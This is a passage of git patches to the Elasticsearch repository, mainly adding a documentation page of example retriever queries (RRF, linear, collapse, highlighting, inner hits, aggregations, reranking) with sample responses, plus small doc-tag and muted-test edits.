+            "fields": ["text", "text_semantic"]
+        }
+    }
+}     
+```
+
+::::{note}
+The `fields` parameter also accepts [wildcard field patterns](/reference/elasticsearch/rest-apis/retrievers.md#multi-field-wildcard-field-patterns).
+::::
+
+This returns the following response based on the final rrf score for each result.
+
+::::{dropdown} Example response
+```console-result
+{
+    "took": 42,
+    "timed_out": false,
+    "_shards": {
+        "total": 1,
+        "successful": 1,
+        "skipped": 0,
+        "failed": 0
+    },
+    "hits": {
+        "total": {
+            "value": 3,
+            "relation": "eq"
+        },
+        "max_score": 0.8333334,
+        "hits": [
+            {
+                "_index": "retrievers_example",
+                "_id": "1",
+                "_score": 0.8333334
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "2",
+                "_score": 0.8333334
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "3",
+                "_score": 0.25
+            }
+        ]
+    }
+}
+```
+
+::::
+
+
+## Example: Linear retriever with the multi-field query format [retrievers-examples-linear-multi-field-query-format]
+```yaml {applies_to}
+stack: ga 9.1
+```
+
+We can also use the [multi-field query format](/reference/elasticsearch/rest-apis/retrievers.md#multi-field-query-format) with the `linear` retriever.
+It works much the same way as [on the `rrf` retriever](#retrievers-examples-rrf-multi-field-query-format), with a couple key differences:
+
+- We can use `^` notation to specify a [per-field boost](/reference/elasticsearch/rest-apis/retrievers.md#multi-field-field-boosting)
+- We must set the `normalizer` parameter to specify the normalization method used to combine [field group scores](/reference/elasticsearch/rest-apis/retrievers.md#multi-field-field-grouping)
+
+The following example uses the `linear` retriever to query the `text`, `text_semantic`, and `topic` fields, with a boost of 2 on the `topic` field:
+
+```console
+GET /retrievers_example/_search
+{
+    "retriever": {
+        "linear": {
+            "query": "artificial intelligence",
+            "fields": ["text", "text_semantic", "topic^2"],
+            "normalizer": "minmax"
+        }
+    }
+}     
+```
+
+This returns the following response based on the normalized score for each result:
+
+::::{dropdown} Example response
+```console-result
+{
+    "took": 42,
+    "timed_out": false,
+    "_shards": {
+        "total": 1,
+        "successful": 1,
+        "skipped": 0,
+        "failed": 0
+    },
+    "hits": {
+        "total": {
+            "value": 3,
+            "relation": "eq"
+        },
+        "max_score": 2.0,
+        "hits": [
+            {
+                "_index": "retrievers_example",
+                "_id": "2",
+                "_score": 2.0
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "1",
+                "_score": 1.2
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "3",
+                "_score": 0.1
+            }
+        ]
+    }
+}
+```
+
+::::
+
+## Example: Grouping results by year with `collapse` [retrievers-examples-collapsing-retriever-results]
+
+In our result set, we have many documents with the same `year` value. We can clean this up using the `collapse` parameter with our retriever. This, as with the standard [collapse](/reference/elasticsearch/rest-apis/collapse-search-results.md) feature,
+enables grouping results by any field and returns only the highest-scoring document from each group. In this example we’ll collapse our results based on the `year` field.
+
+```console
+GET /retrievers_example/_search
+{
+    "retriever": {
+        "rrf": {
+            "retrievers": [
+                {
+                    "standard": {
+                        "query": {
+                            "query_string": {
+                                "query": "(information retrieval) OR (artificial intelligence)",
+                                "default_field": "text"
+                            }
+                        }
+                    }
+                },
+                {
+                    "knn": {
+                        "field": "vector",
+                        "query_vector": [
+                            0.23,
+                            0.67,
+                            0.89
+                        ],
+                        "k": 3,
+                        "num_candidates": 5
+                    }
+                }
+            ],
+            "rank_window_size": 10,
+            "rank_constant": 1
+        }
+    },
+    "collapse": {
+        "field": "year",
+        "inner_hits": {
+            "name": "topic related documents",
+            "_source": [
+                "year"
+            ]
+        }
+    },
+    "_source": false
+}
+```
+
+This returns the following response with collapsed results.
+
+::::{dropdown} Example response
+```console-result
+{
+    "took": 42,
+    "timed_out": false,
+    "_shards": {
+        "total": 1,
+        "successful": 1,
+        "skipped": 0,
+        "failed": 0
+    },
+    "hits": {
+        "total": {
+            "value": 3,
+            "relation": "eq"
+        },
+        "max_score": 0.8333334,
+        "hits": [
+            {
+                "_index": "retrievers_example",
+                "_id": "1",
+                "_score": 0.8333334,
+                "fields": {
+                    "year": [
+                        2024
+                    ]
+                },
+                "inner_hits": {
+                    "topic related documents": {
+                        "hits": {
+                            "total": {
+                                "value": 2,
+                                "relation": "eq"
+                            },
+                            "max_score": 0.8333334,
+                            "hits": [
+                                {
+                                    "_index": "retrievers_example",
+                                    "_id": "1",
+                                    "_score": 0.8333334,
+                                    "_source": {
+                                        "year": 2024
+                                    }
+                                },
+                                {
+                                    "_index": "retrievers_example",
+                                    "_id": "3",
+                                    "_score": 0.25,
+                                    "_source": {
+                                        "year": 2024
+                                    }
+                                }
+                            ]
+                        }
+                    }
+                }
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "2",
+                "_score": 0.8333334,
+                "fields": {
+                    "year": [
+                        2023
+                    ]
+                },
+                "inner_hits": {
+                    "topic related documents": {
+                        "hits": {
+                            "total": {
+                                "value": 1,
+                                "relation": "eq"
+                            },
+                            "max_score": 0.8333334,
+                            "hits": [
+                                {
+                                    "_index": "retrievers_example",
+                                    "_id": "2",
+                                    "_score": 0.8333334,
+                                    "_source": {
+                                        "year": 2023
+                                    }
+                                }
+                            ]
+                        }
+                    }
+                }
+            }
+        ]
+    }
+}
+```
+
+::::
+
+
+
+## Example: Highlighting results based on nested sub-retrievers [retrievers-examples-highlighting-retriever-results]
+
+Highlighting is now also available for nested sub-retrievers matches. For example, consider the same `rrf` retriever as above, with a `knn` and `standard` retriever as its sub-retrievers. We can specify a `highlight` section, as defined in the [highlighting](/reference/elasticsearch/rest-apis/highlighting.md) documentation, and compute highlights for the top results.
+
+```console
+GET /retrievers_example/_search
+{
+    "retriever": {
+        "rrf": {
+            "retrievers": [
+                {
+                    "standard": {
+                        "query": {
+                            "query_string": {
+                                "query": "(information retrieval) OR (artificial intelligence)",
+                                "default_field": "text"
+                            }
+                        }
+                    }
+                },
+                {
+                    "knn": {
+                        "field": "vector",
+                        "query_vector": [
+                            0.23,
+                            0.67,
+                            0.89
+                        ],
+                        "k": 3,
+                        "num_candidates": 5
+                    }
+                }
+            ],
+            "rank_window_size": 10,
+            "rank_constant": 1
+        }
+    },
+    "highlight": {
+        "fields": {
+            "text": {
+                "fragment_size": 150,
+                "number_of_fragments": 3
+            }
+        }
+    },
+    "_source": false
+}
+```
+
+This would highlight the `text` field, based on the matches produced by the `standard` retriever. The highlighted snippets would then be included in the response as usual, i.e. under each search hit.
+
+::::{dropdown} Example response
+```console-result
+{
+    "took": 42,
+    "timed_out": false,
+    "_shards": {
+        "total": 1,
+        "successful": 1,
+        "skipped": 0,
+        "failed": 0
+    },
+    "hits": {
+        "total": {
+            "value": 3,
+            "relation": "eq"
+        },
+        "max_score": 0.8333334,
+        "hits": [
+            {
+                "_index": "retrievers_example",
+                "_id": "1",
+                "_score": 0.8333334,
+                "highlight": {
+                    "text": [
+                        "Large language models are revolutionizing <em>information</em> <em>retrieval</em> by boosting search precision, deepening contextual understanding, and reshaping user experiences"
+                    ]
+                }
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "2",
+                "_score": 0.8333334,
+                "highlight": {
+                    "text": [
+                        "<em>Artificial</em> <em>intelligence</em> is transforming medicine, from advancing diagnostics and tailoring treatment plans to empowering predictive patient care for improved"
+                    ]
+                }
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "3",
+                "_score": 0.25
+            }
+        ]
+    }
+}
+```
+
+::::
+
+
+
+## Example: Computing inner hits from nested sub-retrievers [retrievers-examples-inner-hits-retriever-results]
+
+We can also define `inner_hits` to be computed on any of the sub-retrievers, and propagate those computations to the top level compound retriever. For example, let’s create a new index with a `knn` field, nested under the `nested_field` field, and index a couple of documents.
+
+```console
+PUT retrievers_example_nested
+{
+    "settings": {
+         "number_of_shards": 1
+     },
+    "mappings": {
+        "properties": {
+            "nested_field": {
+                "type": "nested",
+                "properties": {
+                    "paragraph_id": {
+                        "type": "keyword"
+                    },
+                    "nested_vector": {
+                        "type": "dense_vector",
+                        "dims": 3,
+                        "similarity": "l2_norm",
+                        "index": true,
+                        "index_options": {
+                            "type": "flat"
+                        }
+                    }
+                }
+            },
+            "topic": {
+                "type": "keyword"
+            }
+        }
+    }
+}
+
+POST /retrievers_example_nested/_doc/1
+{
+    "nested_field": [
+        {
+            "paragraph_id": "1a",
+            "nested_vector": [
+                -1.12,
+                -0.59,
+                0.78
+            ]
+        },
+        {
+            "paragraph_id": "1b",
+            "nested_vector": [
+                -0.12,
+                1.56,
+                0.42
+            ]
+        },
+        {
+            "paragraph_id": "1c",
+            "nested_vector": [
+                1,
+                -1,
+                0
+            ]
+        }
+    ],
+    "topic": [
+        "ai"
+    ]
+}
+
+POST /retrievers_example_nested/_doc/2
+{
+    "nested_field": [
+        {
+            "paragraph_id": "2a",
+            "nested_vector": [
+                0.23,
+                1.24,
+                0.65
+            ]
+        }
+    ],
+    "topic": [
+        "information_retrieval"
+    ]
+}
+
+POST /retrievers_example_nested/_doc/3
+{
+    "topic": [
+        "ai"
+    ]
+}
+
+POST /retrievers_example_nested/_refresh
+```
+
+Now we can run an `rrf` retriever query and also compute [inner hits](/reference/elasticsearch/rest-apis/retrieve-inner-hits.md) for the `nested_field.nested_vector` field, based on the `knn` query specified.
+
+```console
+GET /retrievers_example_nested/_search
+{
+    "retriever": {
+        "rrf": {
+            "retrievers": [
+                {
+                    "standard": {
+                        "query": {
+                            "nested": {
+                                "path": "nested_field",
+                                "inner_hits": {
+                                    "name": "nested_vector",
+                                    "_source": false,
+                                    "fields": [
+                                        "nested_field.paragraph_id"
+                                    ]
+                                },
+                                "query": {
+                                    "knn": {
+                                        "field": "nested_field.nested_vector",
+                                        "query_vector": [
+                                            1,
+                                            0,
+                                            0.5
+                                        ],
+                                        "k": 10
+                                    }
+                                }
+                            }
+                        }
+                    }
+                },
+                {
+                    "standard": {
+                        "query": {
+                            "term": {
+                                "topic": "ai"
+                            }
+                        }
+                    }
+                }
+            ],
+            "rank_window_size": 10,
+            "rank_constant": 1
+        }
+    },
+    "_source": [
+        "topic"
+    ]
+}
+```
+
+This would propagate the `inner_hits` defined for the `knn` query to the `rrf` retriever, and compute inner hits for `rrf`'s top results.
+
+::::{dropdown} Example response
+```console-result
+{
+    "took": 42,
+    "timed_out": false,
+    "_shards": {
+        "total": 1,
+        "successful": 1,
+        "skipped": 0,
+        "failed": 0
+    },
+    "hits": {
+        "total": {
+            "value": 3,
+            "relation": "eq"
+        },
+        "max_score": 1.0,
+        "hits": [
+            {
+                "_index": "retrievers_example_nested",
+                "_id": "1",
+                "_score": 1.0,
+                "_source": {
+                    "topic": [
+                        "ai"
+                    ]
+                },
+                "inner_hits": {
+                    "nested_vector": {
+                        "hits": {
+                            "total": {
+                                "value": 3,
+                                "relation": "eq"
+                            },
+                            "max_score": 0.44444445,
+                            "hits": [
+                                {
+                                    "_index": "retrievers_example_nested",
+                                    "_id": "1",
+                                    "_nested": {
+                                        "field": "nested_field",
+                                        "offset": 2
+                                    },
+                                    "_score": 0.44444445,
+                                    "fields": {
+                                        "nested_field": [
+                                            {
+                                                "paragraph_id": [
+                                                    "1c"
+                                                ]
+                                            }
+                                        ]
+                                    }
+                                },
+                                {
+                                    "_index": "retrievers_example_nested",
+                                    "_id": "1",
+                                    "_nested": {
+                                        "field": "nested_field",
+                                        "offset": 1
+                                    },
+                                    "_score": 0.21301977,
+                                    "fields": {
+                                        "nested_field": [
+                                            {
+                                                "paragraph_id": [
+                                                    "1b"
+                                                ]
+                                            }
+                                        ]
+                                    }
+                                },
+                                {
+                                    "_index": "retrievers_example_nested",
+                                    "_id": "1",
+                                    "_nested": {
+                                        "field": "nested_field",
+                                        "offset": 0
+                                    },
+                                    "_score": 0.16889325,
+                                    "fields": {
+                                        "nested_field": [
+                                            {
+                                                "paragraph_id": [
+                                                    "1a"
+                                                ]
+                                            }
+                                        ]
+                                    }
+                                }
+                            ]
+                        }
+                    }
+                }
+            },
+            {
+                "_index": "retrievers_example_nested",
+                "_id": "2",
+                "_score": 0.33333334,
+                "_source": {
+                    "topic": [
+                        "information_retrieval"
+                    ]
+                },
+                "inner_hits": {
+                    "nested_vector": {
+                        "hits": {
+                            "total": {
+                                "value": 1,
+                                "relation": "eq"
+                            },
+                            "max_score": 0.31715825,
+                            "hits": [
+                                {
+                                    "_index": "retrievers_example_nested",
+                                    "_id": "2",
+                                    "_nested": {
+                                        "field": "nested_field",
+                                        "offset": 0
+                                    },
+                                    "_score": 0.31715825,
+                                    "fields": {
+                                        "nested_field": [
+                                            {
+                                                "paragraph_id": [
+                                                    "2a"
+                                                ]
+                                            }
+                                        ]
+                                    }
+                                }
+                            ]
+                        }
+                    }
+                }
+            },
+            {
+                "_index": "retrievers_example_nested",
+                "_id": "3",
+                "_score": 0.33333334,
+                "_source": {
+                    "topic": [
+                        "ai"
+                    ]
+                },
+                "inner_hits": {
+                    "nested_vector": {
+                        "hits": {
+                            "total": {
+                                "value": 0,
+                                "relation": "eq"
+                            },
+                            "max_score": null,
+                            "hits": []
+                        }
+                    }
+                }
+            }
+        ]
+    }
+}
+```
+
+::::
+
+
+Note: if using more than one `inner_hits` we need to provide custom names for each `inner_hits` so that they are unique across all retrievers within the request.
+
+
+## Example: Combine RRF with aggregations [retrievers-examples-rrf-and-aggregations]
+
+Retrievers support both composability and most of the standard `_search` functionality. For instance, we can compute aggregations with the `rrf` retriever. When using a compound retriever, the aggregations are computed based on its nested retrievers. In the following example, the `terms` aggregation for the `topic` field will include all results, not just the top `rank_window_size`, from the 2 nested retrievers, i.e. all documents whose `year` field is greater than 2023, and whose `topic` field matches the term `elastic`.
+
+```console
+GET retrievers_example/_search
+{
+    "retriever": {
+        "rrf": {
+            "retrievers": [
+                {
+                    "standard": {
+                        "query": {
+                            "range": {
+                                "year": {
+                                    "gt": 2023
+                                }
+                            }
+                        }
+                    }
+                },
+                {
+                    "standard": {
+                        "query": {
+                            "term": {
+                                "topic": "elastic"
+                            }
+                        }
+                    }
+                }
+            ],
+            "rank_window_size": 10,
+            "rank_constant": 1
+        }
+    },
+    "_source": false,
+    "aggs": {
+        "topics": {
+            "terms": {
+                "field": "topic"
+            }
+        }
+    }
+}
+```
+
+::::{dropdown} Example response
+```console-result
+{
+    "took": 42,
+    "timed_out": false,
+    "_shards": {
+        "total": 1,
+        "successful": 1,
+        "skipped": 0,
+        "failed": 0
+    },
+    "hits": {
+        "total": {
+            "value": 4,
+            "relation": "eq"
+        },
+        "max_score": 0.5833334,
+        "hits": [
+            {
+                "_index": "retrievers_example",
+                "_id": "5",
+                "_score": 0.5833334
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "1",
+                "_score": 0.5
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "4",
+                "_score": 0.5
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "3",
+                "_score": 0.33333334
+            }
+        ]
+    },
+    "aggregations": {
+        "topics": {
+            "doc_count_error_upper_bound": 0,
+            "sum_other_doc_count": 0,
+            "buckets": [
+                {
+                    "key": "ai",
+                    "doc_count": 3
+                },
+                {
+                    "key": "elastic",
+                    "doc_count": 2
+                },
+                {
+                    "key": "assistant",
+                    "doc_count": 1
+                },
+                {
+                    "key": "documentation",
+                    "doc_count": 1
+                },
+                {
+                    "key": "information_retrieval",
+                    "doc_count": 1
+                },
+                {
+                    "key": "llm",
+                    "doc_count": 1
+                },
+                {
+                    "key": "observability",
+                    "doc_count": 1
+                },
+                {
+                    "key": "security",
+                    "doc_count": 1
+                }
+            ]
+        }
+    }
+}
+```
+
+::::
+
+
+
+## Example: Explainability with multiple retrievers [retrievers-examples-explain-multiple-rrf]
+
+By adding `explain: true` to the request, each retriever will now provide a detailed explanation of all the steps and calculations required to compute the final score. Composability is fully supported in the context of `explain`, and each retriever will provide its own explanation, as shown in the example below.
+
+```console
+GET /retrievers_example/_search
+{
+    "retriever": {
+        "rrf": {
+            "retrievers": [
+                {
+                    "standard": {
+                        "query": {
+                            "term": {
+                                "topic": "elastic"
+                            }
+                        }
+                    }
+                },
+                {
+                    "rrf": {
+                        "retrievers": [
+                            {
+                                "standard": {
+                                    "query": {
+                                        "query_string": {
+                                            "query": "(information retrieval) OR (artificial intelligence)",
+                                            "default_field": "text"
+                                        }
+                                    }
+                                }
+                            },
+                            {
+                                "knn": {
+                                    "field": "vector",
+                                    "query_vector": [
+                                        0.23,
+                                        0.67,
+                                        0.89
+                                    ],
+                                    "k": 3,
+                                    "num_candidates": 5
+                                }
+                            }
+                        ],
+                        "rank_window_size": 10,
+                        "rank_constant": 1
+                    }
+                }
+            ],
+            "rank_window_size": 10,
+            "rank_constant": 1
+        }
+    },
+    "_source": false,
+    "size": 1,
+    "explain": true
+}
+```
+
+The output of which, albeit a bit verbose, will provide all the necessary info to assist in debugging and reason with ranking.
+
+::::{dropdown} Example response
+```console-result
+{
+    "took": 42,
+    "timed_out": false,
+    "_shards": {
+        "total": 1,
+        "successful": 1,
+        "skipped": 0,
+        "failed": 0
+    },
+    "hits": {
+        "total": {
+            "value": 5,
+            "relation": "eq"
+        },
+        "max_score": 0.5,
+        "hits": [
+            {
+                "_shard": "[retrievers_example][0]",
+                "_node": "jnrdZFKS3abUgWVsVdj2Vg",
+                "_index": "retrievers_example",
+                "_id": "1",
+                "_score": 0.5,
+                "_explanation": {
+                    "value": 0.5,
+                    "description": "rrf score: [0.5] computed for initial ranks [0, 1] with rankConstant: [1] as sum of [1 / (rank + rankConstant)] for each query",
+                    "details": [
+                        {
+                            "value": 0.0,
+                            "description": "rrf score: [0], result not found in query at index [0]",
+                            "details": []
+                        },
+                        {
+                            "value": 1,
+                            "description": "rrf score: [0.5], for rank [1] in query at index [1] computed as [1 / (1 + 1)], for matching query with score",
+                            "details": [
+                                {
+                                    "value": 0.8333334,
+                                    "description": "rrf score: [0.8333334] computed for initial ranks [2, 1] with rankConstant: [1] as sum of [1 / (rank + rankConstant)] for each query",
+                                    "details": [
+                                        {
+                                            "value": 2,
+                                            "description": "rrf score: [0.33333334], for rank [2] in query at index [0] computed as [1 / (2 + 1)], for matching query with score",
+                                            "details": [
+                                                {
+                                                    "value": 2.8129659,
+                                                    "description": "sum of:",
+                                                    "details": [
+                                                        {
+                                                            "value": 1.4064829,
+                                                            "description": "weight(text:information in 0) [PerFieldSimilarity], result of:",
+                                                            "details": [
+                                                                ***
+                                                            ]
+                                                        },
+                                                        {
+                                                            "value": 1.4064829,
+                                                            "description": "weight(text:retrieval in 0) [PerFieldSimilarity], result of:",
+                                                            "details": [
+                                                                ***
+                                                            ]
+                                                        }
+                                                    ]
+                                                }
+                                            ]
+                                        },
+                                        {
+                                            "value": 1,
+                                            "description": "rrf score: [0.5], for rank [1] in query at index [1] computed as [1 / (1 + 1)], for matching query with score",
+                                            "details": [
+                                                {
+                                                    "value": 1,
+                                                    "description": "doc [0] with an original score of [1.0] is at rank [1] from the following source queries.",
+                                                    "details": [
+                                                        {
+                                                            "value": 1.0,
+                                                            "description": "found vector with calculated similarity: 1.0",
+                                                            "details": []
+                                                        }
+                                                    ]
+                                                }
+                                            ]
+                                        }
+                                    ]
+                                }
+                            ]
+                        }
+                    ]
+                }
+            }
+        ]
+    }
+}
+```
+
+::::
+
+
+
+## Example: Rerank results of an RRF retriever [retrievers-examples-text-similarity-reranker-on-top-of-rrf]
+
+To demonstrate the full functionality of retrievers, the following examples also require access to a [semantic reranking model](docs-content://solutions/search/ranking/semantic-reranking.md) set up using the [Elastic inference APIs](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-inference).
+
+In this example we’ll set up a reranking service and use it with the `text_similarity_reranker` retriever to rerank our top results.
+
+```console
+PUT _inference/rerank/my-rerank-model
+{
+ "service": "cohere",
+ "service_settings": {
+   "model_id": "rerank-english-v3.0",
+   "api_key": "{{COHERE_API_KEY}}"
+ }
+}
+```
+
+Let’s start by reranking the results of the `rrf` retriever in our previous example.
+
+```console
+GET retrievers_example/_search
+{
+    "retriever": {
+        "text_similarity_reranker": {
+            "retriever": {
+                "rrf": {
+                    "retrievers": [
+                        {
+                            "standard": {
+                                "query": {
+                                    "query_string": {
+                                        "query": "(information retrieval) OR (artificial intelligence)",
+                                        "default_field": "text"
+                                    }
+                                }
+                            }
+                        },
+                        {
+                            "knn": {
+                                "field": "vector",
+                                "query_vector": [
+                                    0.23,
+                                    0.67,
+                                    0.89
+                                ],
+                                "k": 3,
+                                "num_candidates": 5
+                            }
+                        }
+                    ],
+                    "rank_window_size": 10,
+                    "rank_constant": 1
+                }
+            },
+            "field": "text",
+            "inference_id": "my-rerank-model",
+            "inference_text": "What are the state of the art applications of AI in information retrieval?"
+        }
+    },
+    "_source": false
+}
+```
+
+
+## Example: RRF with semantic reranker [retrievers-examples-rrf-ranking-on-text-similarity-reranker-results]
+
+For this example, we’ll replace the rrf’s `standard` retriever with the `text_similarity_reranker` retriever, using the `my-rerank-model` reranker we previously configured. Since this is a reranker, it needs an initial pool of documents to work with. In this case, we’ll rerank the top `rank_window_size` documents matching the  `ai` topic.
+
+```console
+GET /retrievers_example/_search
+{
+    "retriever": {
+        "rrf": {
+            "retrievers": [
+                {
+                    "knn": {
+                        "field": "vector",
+                        "query_vector": [
+                            0.23,
+                            0.67,
+                            0.89
+                        ],
+                        "k": 3,
+                        "num_candidates": 5
+                    }
+                },
+                {
+                    "text_similarity_reranker": {
+                        "retriever": {
+                            "standard": {
+                                "query": {
+                                    "term": {
+                                        "topic": "ai"
+                                    }
+                                }
+                            }
+                        },
+                        "field": "text",
+                        "inference_id": "my-rerank-model",
+                        "inference_text": "Can I use generative AI to identify user intent and improve search relevance?"
+                    }
+                }
+            ],
+            "rank_window_size": 10,
+            "rank_constant": 1
+        }
+    },
+    "_source": false
+}
+```
+
+
+## Example: Chaining multiple semantic rerankers [retrievers-examples-chaining-text-similarity-reranker-retrievers]
+
+Full composability means we can chain together multiple retrievers of the same type. For instance, imagine we have a computationally expensive reranker that’s specialized for AI content. We can rerank the results of a `text_similarity_reranker` using another `text_similarity_reranker` retriever. Each reranker can operate on different fields and/or use different inference services.
+
+```console
+GET retrievers_example/_search
+{
+    "retriever": {
+        "text_similarity_reranker": {
+            "retriever": {
+                "text_similarity_reranker": {
+                    "retriever": {
+                        "knn": {
+                            "field": "vector",
+                            "query_vector": [
+                                0.23,
+                                0.67,
+                                0.89
+                            ],
+                            "k": 3,
+                            "num_candidates": 5
+                        }
+                    },
+                    "rank_window_size": 100,
+                    "field": "text",
+                    "inference_id": "my-rerank-model",
+                    "inference_text": "What are the state of the art applications of AI in information retrieval?"
+                }
+            },
+            "rank_window_size": 10,
+            "field": "text",
+            "inference_id": "my-other-more-expensive-rerank-model",
+            "inference_text": "Applications of Large Language Models in technology and their impact on user satisfaction"
+        }
+    },
+    "_source": false
+}
+```
+
+Note that our example applies two reranking steps. First, we rerank the top 100 documents from the `knn` search using the `my-rerank-model` reranker. Then we pick the top 10 results and rerank them using the more fine-grained `my-other-more-expensive-rerank-model`.
+
diff --git a/docs/reference/elasticsearch/toc.yml b/docs/reference/elasticsearch/toc.yml
index f156322c9a960..01774d0a6bc93 100644
--- a/docs/reference/elasticsearch/toc.yml
+++ b/docs/reference/elasticsearch/toc.yml
@@ -105,6 +105,7 @@ toc:
                 - file: rest-apis/retrievers/rule-retriever.md
                 - file: rest-apis/retrievers/standard-retriever.md
                 - file: rest-apis/retrievers/text-similarity-reranker-retriever.md
+                - file: rest-apis/retrievers/retrievers-examples.md
             - file: rest-apis/search-multiple-data-streams-indices.md
             - file: rest-apis/search-profile.md
             - file: rest-apis/search-rank-eval.md

From f899d1646f90512baa7d5d1e8644fbf095f89ac9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Istv=C3=A1n=20Zolt=C3=A1n=20Szab=C3=B3?=
 <istvan.szabo@elastic.co>
Date: Thu, 24 Jul 2025 15:44:53 +0200
Subject: [PATCH 227/299] [DOCS] Adds inline applies_to tags to semantic text
 docs (#131814) (#131832)

* [DOCS] Adds inline applies_to tags to semantic text docs.

* More edits.

* Fine-tunes tags.

* Adds role.

* Addresses feedback.

* Adds sub-sections.

* Positions the tags differently.

* Repositions applies to tags.

* Annotates sections.
---
 .../mapping-reference/semantic-text.md        | 42 ++++++++++++++++---
 1 file changed, 37 insertions(+), 5 deletions(-)

diff --git a/docs/reference/elasticsearch/mapping-reference/semantic-text.md b/docs/reference/elasticsearch/mapping-reference/semantic-text.md
index fbea748bbe596..fba9c1b263420 100644
--- a/docs/reference/elasticsearch/mapping-reference/semantic-text.md
+++ b/docs/reference/elasticsearch/mapping-reference/semantic-text.md
@@ -2,6 +2,9 @@
 navigation_title: "Semantic text"
 mapped_pages:
   - https://www.elastic.co/guide/en/elasticsearch/reference/current/semantic-text.html
+applies_to:
+  stack: ga 9.0
+  serverless: ga
 ---
 
 # Semantic text field type [semantic-text]
@@ -29,7 +32,8 @@ service.
 Using `semantic_text`, you won’t need to specify how to generate embeddings for
 your data, or how to index it. The {{infer}} endpoint automatically determines
 the embedding generation, indexing, and query to use.
-Newly created indices with `semantic_text` fields using dense embeddings will be
+
+{applies_to}`stack: ga 9.1`  Newly created indices with `semantic_text` fields using dense embeddings will be
 [quantized](/reference/elasticsearch/mapping-reference/dense-vector.md#dense-vector-quantization)
 to `bbq_hnsw` automatically.
 
@@ -182,6 +186,15 @@ For more details on chunking and how to configure chunking settings,
 see [Configuring chunking](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-inference)
 in the Inference API documentation.
 
+Refer
+to [this tutorial](docs-content://solutions/search/semantic-search/semantic-search-semantic-text.md)
+to learn more about semantic search using `semantic_text`.
+
+### Pre-chunking [pre-chunking]
+```{applies_to}
+stack: ga 9.1
+```
+
 You can pre-chunk the input by sending it to Elasticsearch as an array of
 strings.
 Example:
@@ -228,10 +241,6 @@ PUT test-index/_doc/1
     * Others (such as `elastic` and `elasticsearch`) will automatically truncate
       the input.
 
-Refer
-to [this tutorial](docs-content://solutions/search/semantic-search/semantic-search-semantic-text.md)
-to learn more about semantic search using `semantic_text`.
-
 ## Extracting relevant fragments from semantic text [semantic-text-highlighting]
 
 You can extract the most relevant fragments from a semantic text field by using
@@ -295,6 +304,11 @@ specified. It enables you to quickstart your semantic search by providing
 automatic {{infer}} and a dedicated query so you don’t need to provide further
 details.
 
+### Customizing using `semantic_text` parameters [custom-by-parameters]
+```{applies_to}
+stack: ga 9.1
+```
+
 If you want to override those defaults and customize the embeddings that
 `semantic_text` indexes, you can do so by
 modifying [parameters](#semantic-text-params):
@@ -328,6 +342,24 @@ PUT my-index-000004
 }
 ```
 
+### Customizing using ingest pipelines [custom-by-pipelines]
+```{applies_to}
+stack: ga 9.0
+```
+
+In case you want to customize data indexing, use the
+[`sparse_vector`](/reference/elasticsearch/mapping-reference/sparse-vector.md)
+or [`dense_vector`](/reference/elasticsearch/mapping-reference/dense-vector.md)
+field types and create an ingest pipeline with an 
+[{{infer}} processor](/reference/enrich-processor/inference-processor.md) to
+generate the embeddings.
+[This tutorial](docs-content://solutions/search/semantic-search/semantic-search-inference.md)
+walks you through the process. In these cases - when you use `sparse_vector` or
+`dense_vector` field types instead of the `semantic_text` field type to
+customize indexing - using the
+[`semantic_query`](/reference/query-languages/query-dsl/query-dsl-semantic-query.md)
+is not supported for querying the field data.
+
 ## Updates to `semantic_text` fields [update-script]
 
 For indices containing `semantic_text` fields, updates that use scripts have the

From b237593d407ae52b464e2b4793b9fa825631cd33 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Istv=C3=A1n=20Zolt=C3=A1n=20Szab=C3=B3?=
 <istvan.szabo@elastic.co>
Date: Thu, 24 Jul 2025 16:22:12 +0200
Subject: [PATCH 228/299] [DOCS] Adds applies_to tag to semantic text and
 semantic query (#131804) (#131836)

* [DOCS] Adds applies_to tag to semantic text and semantic query.

* Edits.

* Apply suggestions from code review
---
 .../query-languages/query-dsl/query-dsl-semantic-query.md      | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/docs/reference/query-languages/query-dsl/query-dsl-semantic-query.md b/docs/reference/query-languages/query-dsl/query-dsl-semantic-query.md
index e7f6578d5369a..ebad528a2ad92 100644
--- a/docs/reference/query-languages/query-dsl/query-dsl-semantic-query.md
+++ b/docs/reference/query-languages/query-dsl/query-dsl-semantic-query.md
@@ -2,6 +2,9 @@
 navigation_title: "Semantic"
 mapped_pages:
   - https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-semantic-query.html
+applies_to:
+  stack: ga 9.0
+  serverless: ga
 ---
 
 # Semantic query [query-dsl-semantic-query]

From 2770c05410ac29a3f8831e296813834e338c4aba Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Mariusz=20J=C3=B3zala?=
 <377355+jozala@users.noreply.github.com>
Date: Thu, 24 Jul 2025 16:57:55 +0200
Subject: [PATCH 229/299] Mute test151MachineDependentHeapWithSizeOverride
 (#131848)

Related to issue #123437.
---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index def0e0da4e97f..dc261c6a50caa 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -450,6 +450,9 @@ tests:
 - class: org.elasticsearch.packaging.test.DockerTests
   method: test130JavaHasCorrectOwnership
   issue: https://github.com/elastic/elasticsearch/issues/131369
+- class: org.elasticsearch.packaging.test.DockerTests
+  method: test151MachineDependentHeapWithSizeOverride
+  issue: https://github.com/elastic/elasticsearch/issues/123437
 
 # Examples:
 #

From 47fde4d25e39d3d1ae1801561ce5486fbdfe892f Mon Sep 17 00:00:00 2001
From: Brian Seeders <brian.seeders@elastic.co>
Date: Thu, 24 Jul 2025 16:15:07 -0400
Subject: [PATCH 230/299] Remove 8.17 from dev branches (#131872)

(cherry picked from commit f0bb49eb369ce32b9969b419b1cc2698600669a9)
---
